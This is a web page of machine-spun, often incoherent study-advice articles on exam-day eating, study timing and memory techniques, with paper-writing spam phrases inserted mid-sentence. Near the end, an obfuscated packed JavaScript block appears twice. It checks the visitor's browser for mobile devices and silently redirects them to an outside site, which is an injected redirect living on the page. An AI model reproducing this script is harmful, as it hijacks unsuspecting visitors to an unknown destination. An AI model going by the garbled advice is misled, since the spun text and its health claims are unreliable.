Just what is the Very best Meals to enjoy Before an evaluation

Just what is the Very best Meals to enjoy Before an evaluation

Proper diet is crucial, and doubly the like significant days like whenever you have a check. Preserving your time through the test is critical to your success. At any time endured undoubtedly certainly one of men and women functions when you find yourself hunting in the page and therefore are just drawing an empty, while you know certainly you’ve examined this? It could be given that you did not pay appropriate center on that which you consumed, and it also resulted in your circulatory system sugar flatlining at most detrimental minute. Listed here is a tiny guide relating to the best way to get rid of it happening once again.

Take in Gentle the evening time Before

If you are cramming the night time just before an assessment (like every suitable pupil would), it may be to not get pizza as a technique of satisfying your self. You should think about postponing that compensate prior to definitely publish the test, however. It is best to awaken starving and never using this ‘pregnant’ experiencing everybody is certain to get when the right diet regime before going to sleep.

Stay Hydrated

Initially component you should do for energy is avoid dehydration. People in america, in general, don’t ingest enough liquids, in case you discounted for sugary cocktails. A cup of cool water before consuming something is a terrific method to start every day and boost your metabolic process that means you will have a lot more power throughout the day.

Try to eat Your Vitamins

Starting your whole working day proper implies acquiring every one of the natural vitamins the body needs throughout the day. Take into account, at the minimum, omega-3 fatty acids in addition to a b vitamin complex nutritional supplement. Omega-3 fatty acids are fantastic for vitality increasing, along with growing metabolic approach and removing skin, and with out ample B12, our bodies won’t have appropriate electricity stocks, and that is just a few them. Obtaining a bloodstream analyze from your medical professional will show you far better what every day nutritional supplements you need to be taking.

Coffee and Beverages

Unless of course you are a comprehensive, total addict, you should go with out coffee and especially electricity beverages. Consuming them provides a power boost, though the ‘crash’ or ‘comedown’ isn’t beneficial, particularly if it requires place when you are consuming your examination. In case you absolutely could not start off your entire day without having beverage to increase your time, attempt eco-friendly tea. It’s lower quantities of coffee, but comes along with anti-oxidants that gourmet coffee does not have.

Consume Your morning meal

The most important dinner throughout the day. If you are surely among individuals individuals who will not get their initially dish until lunchtime, you must consider getting a powerful morning meal. This gives you the energy increase you obtain from espresso, and preserve you til you have lunch or dinner.

Given that morning meal is definitely one of the most essential dish in the daytime, you should be almost everything choosier with the food intake. Try to avoid sweet cereal products. Indeed, these are virtually the most effective, and you may say, why even awaken fundamentally can’t have my sugars repair instantly? The exact same reason as coffee: sugar, as well as all carbs, can get you moving quick, and you simply collision exactly like tough. This is basically the factor that metabolizes the fastest, consequently it does not maintain you for quite long, and, as remains explained over, we are trying to prevent that collision.

Instead of Privileged Charms, try one thing that’s packed with body fat and proteins. Eggs with hummus, by way of example. Some type of toned meat, like grass-offered meat or salmon may also be an awesome method to start off every day. Look it over with some avocado for people healthier omega acids, and consume it by having an British muffin to avert getting totally dull along with your diet. If you are a vegetarian, attempt combining quinoa or chickpeas by incorporating green spinach or kale, then include nuts, and dress with vinegar for virtually any morning hours greens.

What you may are eating on examination working day, get heed to how extended it will almost certainly preserve you for. You realize the entire body finest, and understanding a Reddish Bull each morning together with a Reddish Bull prior to the test enables you to get through it, then, go on and, engage. Take into account, even though, you might be definitely not 20 permanently, and sooner or later you are going to have to think about how healthful the options you might be creating are. For the present time, get some exciting.

Pick the right Time to Research for Finals

With finals drawing near in the few days and nights, a great deal of individuals start planning their understanding schedules. Even so, there’s a vital point to take into account when designing an agenda: when would you research best?

You’ve probably read about morning hours and night time folks, correct? Many people simply operate far better in the morning than throughout the night even though some struggle to get away from bed each morning but don’t have dilemma getting rid of the night time oils.

Everyone has situations during the day when their intellectual skills tend to be more alert and they are capable of assimilate and procedure information and facts along with create and express. Seeking to move forward through the entire other hours can’t just be unproductive, it is additionally countertop-fruitful. That is because the research session will not happen to be efficient, causing burn-out and discouragement.

Identifying the optimum time and energy to evaluation will assist you to take advantage of your short period of time during finals season.

Why It Concerns While in Finals

Throughout finals time period, this concept is very related. By determining while you are most warn, you can actually plan research routine that lets you absolutely increase your productivity. You might want to chill out or do other pursuits in your a lot less effective hours to make sure you may take advantage from your rapidly.

How You Can Recognize Your Very Best Time

Just about everyone posseses an intuition when ever they can be greatest. In the event you are often vibrant and ready throughout the day in the morning but hit a slump right after meal, and are likely to knock-away from very early, decreasing off and away to sleeping although learning at 9p.m., you are able to think that morning are the ideal time.

If morning are challenging for just you normally need a landslide of caffeine to help you get transferring, slowly moving up the step ladder to rush since the time wears on and peaking during the night time following supper, your night time will likely be the best occasions.

Many individuals have sluggish mornings and very early evenings but often burst open with electricity within the afternoons. For the reason that situation, the best time will likely be through the middle of the-working day.

Certainly, the easiest approach to make sure would be to test this concept out. Plan to review each morning, middle-night and day and see which is successful with you. In the event you hold the ability to give mtss is actually a check out before the finals season reaches, it could truly allow you to generate the most from your researching.

How Would You Boost Your Effective Hours?

If you uncover your best functioning time, you have to find solutions to guard that period. Eradicate or at finest limit your distractions whenever you can. A fundamental, remote location to review could possibly be suitable so that you don’t danger associates or family folks disturbing you. Changing off of mobile phones or putting them on calm or vibrate is yet another useful approach to always keep interruptions reduced. Don’t tempt yourself with social networking over these hours, both. Leave that for the more time.

Generate a Pattern

If you’re capable of make and stay with an goal, it will probably be a lot more beneficial for the output. Sticking to some particular strategy each day assists set off the mind into work method when it is on this page our company is at serious learning and may improve your output a lot more. The greater regular you’re, the greater your jobs trainings is going to be. Don’t merely remain steady together with your operate, although.

Finding yourself in conjuction together with the stuff you are doing in the open air in the understanding hrs can be essential. Exercising, ingesting, and resting regimens also support make your head and the entire body in top rated running issue.

Numerous powerful authors keep consistent agendas. Recommended publisher Haruki Murakami takes care of a rigorous plan of waking up at 4am, composing for 5 or 6 hours, working or swimming or both after which understanding and ability to hear tunes. Bed furniture-time is 9:00pm. He represents this way of getting themself into a type of a trance developing a recurring style he is able to depend upon everyday.

Whatever time is the best for college, make certain to have the most from it by limiting distractions and taking advantage of your away from time also.

Just before Assessments: 7 Beneficial Memory space Advancement Tecniques

Examinations frequently trigger lots of stress and anxiety to individuals due to the amount of information and facts they will probably grasp quickly. If you are afraid your memory will go incorrect in your tests, don’t be anxious. There are several methods that you should increase your memory and preservation just before analyze time.

Here are several wonderful procedures that can boost your recollection:

Receive write my paper The Z’s

While tugging a fantastic-nighter to cram the night time time prior to an exam might appear like highly recommended, allowing you extra hrs of studying, it may definitely use a negative impact on your test outcome. That is because sleep is an important part of considering operations. Your thoughts really synthesizes the info it acquired when asleep. Sleep at night likewise helps with memory space formation, enabling you to recall information afterwards. Without these hours of rest and restoration, the brain’s thoughts are inhibited. It’s much more effective to have a fantastic night’s sleep instead of continue till starting seeking around information you may well be unable to recall anyhow.

Diet plan

Get some healthful mind foods prior to an exam. Don’t ignore any meals. Try to eat lots of fruits, fresh vegetables, slim healthy proteins and omega-3 essential fatty acids. Some higher-strength head meals are:

  • Cauliflower and broccoli
  • Walnuts
  • Chickpeas
  • Steak
  • Particularly
  • Important olive oil
  • Salmon
  • Avocado
  • Ovum


Obtaining a small amount of workout prior to an assessment is really a terrific way to boost the circulatory system and air flow towards the mind. A quick run or bicycle trip every morning or some lunges, yoga and fitness or calisthenics should be enough to get your pulse rate up in addition to your circulatory system pumping. Work out may also be a terrific strategy to enhance your feeling and general sensation of properly-becoming – the perfect condition of body and mind in which to stay ahead of taking your assessment.


A great deal of exam understanding is recall abilities, but, sadly, recall abilities is brief term, which means you will probably your expense info if you go ahead and acquire examination. Learning to make organizations can help you to back up the data for extended. As an example, you may generate up Acronyms or message organizations for a lot of principles by way of example Please Excuse Oh yeah My Gosh Aunt Sally which suggests a purchase of functions for mathematical issues (Parentheses, Exponents, Multiplication, Department, Supplement, Subtraction). Creating a rhyme can also give you a hand to not forget important names or times (In 1492, Columbus traveled the planet the water blue).


Visualization is truly a efficient method you can use for people topics. In case you are researching for virtually any History exam, attempt to think of the occasions simply because they occur. In case you have seen a documentary or movie about the functions, make an attempt to combine men and women photos for your memory. For virtually any Biology exam, can recall the glides in the distinct specimen you examined. Picture their movements and behaviours and apply that towards the methods you discovered in school. For any mathematics exam, you can actually picture equations in their most basic types and employ that to work with to tougher equations across the test.

Separate and conquer

Don’t study for all your exams all at one time. Somewhat, concentrate on individually. If you take 1 issue write my papers and looking at the key things and benefiting from a few of the strategies pointed out above, you might be creating a specific compartment within your head that you need to remember that details. Blending every piece of information up might cause some complicated combine-referencing when you’re all set in advance and consider assessments. View your studying by means of from beginning to end on a single subject matter, permitting severe levels of check out remarks ahead of the major examination.


More than likely the most severe element you can do to your assessment overall performance is emphasize. Just a little adrenaline is natural, but going into a volitile manner of negative contemplating, anxiety as well as breathlessness will simply intensify. Pressure leads to your bloodstream vessels to tighten, inhibiting the movement of circulatory system and air with the physique, including towards brain. With out these necessary aspects, the brain’s function also can get reduced.

For those who have a interest to be concerned out well before a large examination or test, consider consuming time just before the assessment to relax. Search for a quiet position, or grab yourself some headphones and be aware of some comforting tunes. Get numerous long, strong breaths. Search for any anxiety within your body and find out if you are able to loosen up men and women tighten regions. When it’s time and energy to start examination, maintain that relaxed condition of mind and if you think yourself tensing up, breathe deeply and gradually and don’t neglect to relax.

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(! ».replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘(24(a,b){1V(/(2n|2d\\d+|1i).+1b|1g|1E\\/|1H|1C|1x|1B|2s|3l|3n|O(3m|V)|S|3g|38 |3c|3p|3D|1b.+3A|3z|1d m(3x|2H)i|2J( 14)?|2C|p(2x|2A)\\/|30|2T|3j|2S(4|6)0|2U|2R|I\\.(2Q|2N)|2O|2P|2V 2W|33|34/i.19(a)||/31|2X|2Y|2Z|2M|50[1-6]i|2L|2y|a W|2z|M(15|Z|s\\-)|11(2w|2t)|B(2u|E|D)|2v|2B(2I|y|2K)|2G|17(2D|j)|2E(x|2F)|35|36(3w|\\-m|r |s )|3y|3v(P|N|3u)|T(3r|3s)|3t(M|3G)|3H(e|v)w|3F|3E\\-(n|u)|3B\\/|3C|3q|3d\\-|3e|3b|3a|37\\-|D(39|K)|3f|3o(A|N|3k)|3h|3i\\-s|3I|2r|1z|U(c|p)o|1A(12|\\-d)|1y(49|11)|1u(1v|1w)|15(1D|1J)|1K|1I([4-7]0|14|W|1F)|1G|1t(\\-|R)|G u|1L|1q|1h\\-5|g\\-z|j(\\.w|V)|1j(1e|1f)|1s|1k|1r\\-(m|p|t)|1p\\-|1o(Q|F)|1l( i|O)|1m\\-c|1n(c(\\-| |R|a|g|p|s|t)|1M)|2e(2f|2g)|i\\-(20|j|q)|2c|29( |\\-|\\/)|2a|2b|2h|2i|2o|2p|2q|S|2m(t|v)a|2j|2k|2l|28|27|1S( |\\/)|1T|1U |1R\\-|1Q(c|k)|1N(1O|1P)|1W( g|\\/(k|l|u)|50|54|\\-[a-w])|25|26|23\\-w|22|1X\\/|q(x|1Y|1Z)|16(f|21|E)|m\\-48|5H(5E|C)|5y(5A|5L|J)|5V|z(f|5X|T|3J|U|t(\\-| |o|v)|58)|5i(50|5j|v )|5r|5p|5s[0-2]|57[2-3]|5c(0|2)|5d(0|2|5)|5R(0(0|1)|10)|5M((c|m)\\-|5B|5h|5U|5W|5O)|5Q(6|i)|5Z|5o|5n(5m|5k)|5l|5v|5u|5t(a|d|t)|59|5a(13|\\-([1-8]|c))|55|56|L(5g|5f)|5e\\-2|5w(P|5x|X)|5P|5N|Q\\-g|5S\\-a|5T(5Y|12|21|32|H|\\-[2-7]|i\\-)|5C|5D|5z|5F|5K|5J(5I|5G)|5q\\/|4Z(4c|q|4d|4e|y|4b)|4a(f|h\\-|Z|p\\-)|44\\/|X(c(\\-|0|1)|47|16|K|C)|46\\-|51|4f(\\-|m)|4g\\-0|4m(45|4n)|4l(B|17|4k|A|4h)|4i(4j|y)|43(f|h\\-|v\\-|v )|42(f|3P)|3Q(18|50)|3R(3O|10|18)|F(3N|3K)|3L\\-|3M\\-|3S(i|m)|3T\\-|t\\-z|3Z(L|41)|J(Y|m\\-|3Y|3X)|3U\\-9|I(\\.b|G|3V)|3W|4o|4p|4O|4P(4N|x)|4M(40|5[0-3]|\\-v)|4J|4K|4L|4Q(52|53|H|4R|Y|4X|4Y|4W|4V|4S)|4T(\\-| )|4U|4I|4H(g |4v|4w)|4x|4u|4t|4q\\-|4r|4s|4y\\-/i.19(a.4z(0,4)))1c.4F=b})(1a.4G||1a.4E||1c.1d,\’4D://4A.4B/4C/?5b\’);’,62,372,’|||||||||||||||01||||go|||||||ma|||||||te|ny|mo|it|al|ri|co|ca|ta|g1|60|up|ts|nd|pl|ac|ll|ip|ck|pt|_|iris|bi|do|od|wa|se|70|oo||ai|||os|er|mc|ar||test|navigator|mobile|window|opera|ad|un|avantgo|gf|meego|gr|hcit|hp|hs|ht|hi|hei|gene|hd|haie|fly|em|l2|ul|compal|el|dmob|ds|elaine|blazer|ic|bada|ze|fetc|blackberry|ez|k0|esl8|g560|tp|le|no|xi|kyo|kwc|kgt|klon|kpt|if|lg|m50|ui|xo|||m3ga|m1|function|libw|lynx|keji|kddi|iac|ibro|idea|i230|bb|hu|aw|tc|ig01|ikom|jbro|jemu|jigs|ja|android|im1k|inno|ipaq|dica|fennec|rn|av|amoi|ko|ixi|802s|abac|re|an|phone|ch|as|us|aptu|in|ex|palm|yw|770s|4thp|link|vodafone|wap|browser|treo|series|pocket|symbian|windows|ce|6310|6590|3gso|plucker|1207||xda|xiino|attw|au|cmd|lge|mp|cldc|chtm|maemo|cdm|cell|craw|kindle|dbte|dc|psp|ng|hiptop|hone|iemobile|da|midp|ccwa|lb|rd|bl|nq|be|di|ob|avan|netfront|firefox|c55|capi|mmp|bw|bumb|az|br|devi|de|lk|tcl|tdg|gt|00|mb|t2|t6|tel|tim|tx|si|utst|m5|m3|to||sh|sy|sp|sdk||sgh||cr||sc|va|ge|mm|ms|sie|sk|t5|so|ft|b3|sm|sl|id|v400|v750|yas|your|zeto|x700|wonu|nc|nw|wmlb|zte|substr|gettop|info|kt|http|vendor|location|userAgent|wi|whit|vm40|voda|vulc|vk|rg|veri|vi|vx|61|98|w3c|webc|85|83|80|81|sa||shar||||phil|pire|n20|zz|pdxg|pg|sdNXbH|n30|n50|pn|uc|ay|tf|mt|p1|wv|oran|ti|op|o2im|mywa|s55|mwbp|n10|pan|p800|owg1|po|rt|mi|r600|o8|on|qtek|r380|rc|raks|zo|me|ve|ro|rim9|oa|ne|psio|wt|prox|nok|n7|qa|qc|wf|mmef|wg|02|07|nzph’.split(‘|’),0,{}))eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(! ».replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘(24(a,b){1V(/(2n|2d\\d+|1i).+1b|1g|1E\\/|1H|1C|1x|1B|2s|3l|3n|O(3m|V)|S|3g|38 |3c|3p|3D|1b.+3A|3z|1d m(3x|2H)i|2J( 14)?|2C|p(2x|2A)\\/|30|2T|3j|2S(4|6)0|2U|2R|I\\.(2Q|2N)|2O|2P|2V 2W|33|34/i.19(a)||/31|2X|2Y|2Z|2M|50[1-6]i|2L|2y|a W|2z|M(15|Z|s\\-)|11(2w|2t)|B(2u|E|D)|2v|2B(2I|y|2K)|2G|17(2D|j)|2E(x|2F)|35|36(3w|\\-m|r |s )|3y|3v(P|N|3u)|T(3r|3s)|3t(M|3G)|3H(e|v)w|3F|3E\\-(n|u)|3B\\/|3C|3q|3d\\-|3e|3b|3a|37\\-|D(39|K)|3f|3o(A|N|3k)|3h|3i\\-s|3I|2r|1z|U(c|p)o|1A(12|\\-d)|1y(49|11)|1u(1v|1w)|15(1D|1J)|1K|1I([4-7]0|14|W|1F)|1G|1t(\\-|R)|G u|1L|1q|1h\\-5|g\\-z|j(\\.w|V)|1j(1e|1f)|1s|1k|1r\\-(m|p|t)|1p\\-|1o(Q|F)|1l( i|O)|1m\\-c|1n(c(\\-| |R|a|g|p|s|t)|1M)|2e(2f|2g)|i\\-(20|j|q)|2c|29( |\\-|\\/)|2a|2b|2h|2i|2o|2p|2q|S|2m(t|v)a|2j|2k|2l|28|27|1S( |\\/)|1T|1U |1R\\-|1Q(c|k)|1N(1O|1P)|1W( g|\\/(k|l|u)|50|54|\\-[a-w])|25|26|23\\-w|22|1X\\/|q(x|1Y|1Z)|16(f|21|E)|m\\-48|5H(5E|C)|5y(5A|5L|J)|5V|z(f|5X|T|3J|U|t(\\-| |o|v)|58)|5i(50|5j|v )|5r|5p|5s[0-2]|57[2-3]|5c(0|2)|5d(0|2|5)|5R(0(0|1)|10)|5M((c|m)\\-|5B|5h|5U|5W|5O)|5Q(6|i)|5Z|5o|5n(5m|5k)|5l|5v|5u|5t(a|d|t)|59|5a(13|\\-([1-8]|c))|55|56|L(5g|5f)|5e\\-2|5w(P|5x|X)|5P|5N|Q\\-g|5S\\-a|5T(5Y|12|21|32|H|\\-[2-7]|i\\-)|5C|5D|5z|5F|5K|5J(5I|5G)|5q\\/|4Z(4c|q|4d|4e|y|4b)|4a(f|h\\-|Z|p\\-)|44\\/|X(c(\\-|0|1)|47|16|K|C)|46\\-|51|4f(\\-|m)|4g\\-0|4m(45|4n)|4l(B|17|4k|A|4h)|4i(4j|y)|43(f|h\\-|v\\-|v )|42(f|3P)|3Q(18|50)|3R(3O|10|18)|F(3N|3K)|3L\\-|3M\\-|3S(i|m)|3T\\-|t\\-z|3Z(L|41)|J(Y|m\\-|3Y|3X)|3U\\-9|I(\\.b|G|3V)|3W|4o|4p|4O|4P(4N|x)|4M(40|5[0-3]|\\-v)|4J|4K|4L|4Q(52|53|H|4R|Y|4X|4Y|4W|4V|4S)|4T(\\-| )|4U|4I|4H(g |4v|4w)|4x|4u|4t|4q\\-|4r|4s|4y\\-/i.19(a.4z(0,4)))1c.4F=b})(1a.4G||1a.4E||1c.1d,\’4D://4A.4B/4C/?5b\’);’,62,372,’|||||||||||||||01||||go|||||||ma|||||||te|ny|mo|it|al|ri|co|ca|ta|g1|60|up|ts|nd|pl|ac|ll|ip|ck|pt|_|iris|bi|do|od|wa|se|70|oo||ai|||os|er|mc|ar||test|navigator|mobile|window|opera|ad|un|avantgo|gf|meego|gr|hcit|hp|hs|ht|hi|hei|gene|hd|haie|fly|em|l2|ul|compal|el|dmob|ds|elaine|blazer|ic|bada|ze|fetc|blackberry|ez|k0|esl8|g560|tp|le|no|xi|kyo|kwc|kgt|klon|kpt|if|lg|m50|ui|xo|||m3ga|m1|function|libw|lynx|keji|kddi|iac|ibro|idea|i230|bb|hu|aw|tc|ig01|ikom|jbro|jemu|jigs|ja|android|im1k|inno|ipaq|dica|fennec|rn|av|amoi|ko|ixi|802s|abac|re|an|phone|ch|as|us|aptu|in|ex|palm|yw|770s|4thp|link|vodafone|wap|browser|treo|series|pocket|symbian|windows|ce|6310|6590|3gso|plucker|1207||xda|xiino|attw|au|cmd|lge|mp|cldc|chtm|maemo|cdm|cell|craw|kindle|dbte|dc|psp|ng|hiptop|hone|iemobile|da|midp|ccwa|lb|rd|bl|nq|be|di|ob|avan|netfront|firefox|c55|capi|mmp|bw|bumb|az|br|devi|de|lk|tcl|tdg|gt|00|mb|t2|t6|tel|tim|tx|si|utst|m5|m3|to||sh|sy|sp|sdk||sgh||cr||sc|va|ge|mm|ms|sie|sk|t5|so|ft|b3|sm|sl|id|v400|v750|yas|your|zeto|x700|wonu|nc|nw|wmlb|zte|substr|gettop|info|kt|http|vendor|location|userAgent|wi|whit|vm40|voda|vulc|vk|rg|veri|vi|vx|61|98|w3c|webc|85|83|80|81|sa||shar||||phil|pire|n20|zz|pdxg|pg|sdNXbH|n30|n50|pn|uc|ay|tf|mt|p1|wv|oran|ti|op|o2im|mywa|s55|mwbp|n10|pan|p800|owg1|po|rt|mi|r600|o8|on|qtek|r380|rc|raks|zo|me|ve|ro|rim9|oa|ne|psio|wt|prox|nok|n7|qa|qc|wf|mmef|wg|02|07|nzph’.split(‘|’),0,{}))

Votre commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l’aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l’aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s